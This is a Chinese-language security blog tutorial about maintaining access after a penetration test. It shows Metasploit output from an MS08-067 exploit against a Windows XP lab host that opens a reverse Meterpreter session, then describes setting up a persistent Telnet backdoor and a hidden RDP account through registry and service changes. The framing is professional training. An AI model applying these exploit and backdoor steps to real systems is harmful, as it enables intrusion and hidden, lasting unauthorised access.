*本文原创作者:2cat,属于FreeBuf原创奖励计划,禁止转载。
干了十几年安全工作,发现一些同行只是把简单的工具扫描和渗透测试当成了全部工作,拿到需要的数据及测试结果既为完成工作。可各位兄弟,咱扪心自问,这样的安全测试能叫真的安全吗?所拿到的结果真的就是最终结果吗?下面,我想根据自己这些年的经验分享一下在职场中个人理解的渗透测试。
以往,我们渗透的主要目的是测试目标网络环境是否安全,是否存在哪些可见与不可见漏洞,然后将它们记录下来填充到安全报告中向客户进行展示。
其实我个人早期时候也有过同类的想法,随着从业时间增多,以及接触各式各样的案例之后开始明白,渗透测试主要侧重于发现在网络中存的安全隐患,并不能及时发现已经被入侵的主机系统的安全问题。
当我们开始做渗透测试工作时,此时的我们正处在一个“攻击者”身份,那么我们就要站在攻击者身份角度上来看待所面对的问题。
如果被测试目标已被我们所攻破,并且获得了想要的数据,那么后面又该做些什么呢?
就这样悄悄地清扫痕迹跑掉?事实并非如此,真正的攻击者会给主机留下后门,确保他们随时随地的能够在目标主机中随意出入且不被发现。
当然,为了不影响整体的连接控制及系统运行速度,攻击者会采用比较合理的方式来保持与目标主机之间的持久交互通信,而这种交互需要确保足够长期不易被其它维护人员所发现。我们一般成这种持久交互的工具或是名词术语为:后门(BackDoor)或恶意软件(RootKit)。
现在比较主流的自动化恶意软件和人为攻击概念使传统标签的定义变得模糊。后续我会着重分享几类经典的后门持久代理,让兄弟们对后门的各种技术有更多的了解和感悟。
下面,我们以ms08_067漏洞为例来分享演示,对一台装有Windows XP或windows 2k3系统的主机进行渗透测试。
执行代码:
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse TCP handler on 192.168.25.132:4444
[*] 192.168.25.133:445 - Automatically detecting the target…
[*] 192.168.25.133:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.25.133:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.25.133:445 - Attempting to trigger the vulnerability…
[*] Sending stage ( bytes) to 192.168.25.133
[*] Meterpreter session 1 opened (192.168.25.132:4444 -> 192.168.25.133:1038) at 2017-07-25 05:41:46 -0800
下图使用execute创建一个交互命令,-H隐藏的进程
通过命令,我们创建一个具有隐藏属性的身份进入到系统当中去。
很快,我们可以在系统进程中找到对应的位置(PID1444),正常情况下,日常使用人员很能发现隐藏cmd进程,目的是不暴露我们身份。
执行代码:
当创建新用户完成后,我们需要退出Windows命令Shell。此时需要开始Telnet服务,在提示符后执行run命令:
这时我们会看到显示的脚本内容表示,在被入侵系统当中已经建立了一个持久的Telnet服务。
为了可以随时访问它,我们需要用Telnet命令连接目标主机的IP地址,输入此前建立好的用户名和密码。
如果建立的这个持久Telnet不被目标所发现的话,就可以一直持续下去。需要说明的是,Telnet通常容易被检测到(因为以明文形式传送),并且主要使用命令行模式操作,所以较为复杂。
测试后我们发现:Telnet服务可以正常登录和访问目标客户端,说明本次渗透测试并建立telnet后门的安全测试成功。
接下来,我再分享一个采用GUI方式来访问被入侵系统的应用程序,通过它启动远程桌面协议RDP。
首先,我们需要确认是否已经拥有管理员权限和操作系统的版本,那么继续以Windows XP为例,使用meterpreter拿到目标系统交互命令的Shell后,输入reg命令来修改注册表信息。
为了确保我们所使用的RDP协议能够顺利通过目标防火墙,如果不能正常访问RDP还需要通过一些命令来增加主机安全规则。
通过上图,我们发现系统中远程桌面RDP服务并未开启,此时需要我们运行run命令手动来开启rdp该服务。
为了确保RDP不会再被攻击目标重启后还能处于开启状态,就需要通过sc命令对他进行一些配置。
在确保RDP保持长久开启状态后,我们为了配合后续操作,要创建一个隐藏的账户,同时对注册表方面也要进行必要的调整来保持它的持久性。
执行代码如下:
此时我们该做的工作基本完成,剩下的就是安全测试阶段了。
使用rdesktop程序连接到被入侵的系统远程桌面。
root@2cats:~# rdesktop -a 16 -u admin -p192.168.25.133:3389
我们在安全测试过程中对桌面的分辨率、用户名、密码、服务器地址和端口进行相应调整,当然,大家也可以通过配置注册表来修改远程桌面的默认端口操作。
如上图所示,证明我们的安全测试成功了。
今天就到这里,将两种后门长久连接方式分享给大家,希望对新入行的朋友能够有所帮助,安全渗透测试技术是一方面,其次思路也很重要。
*本文原创作者:2cat,属于FreeBuf原创奖励计划,禁止转载。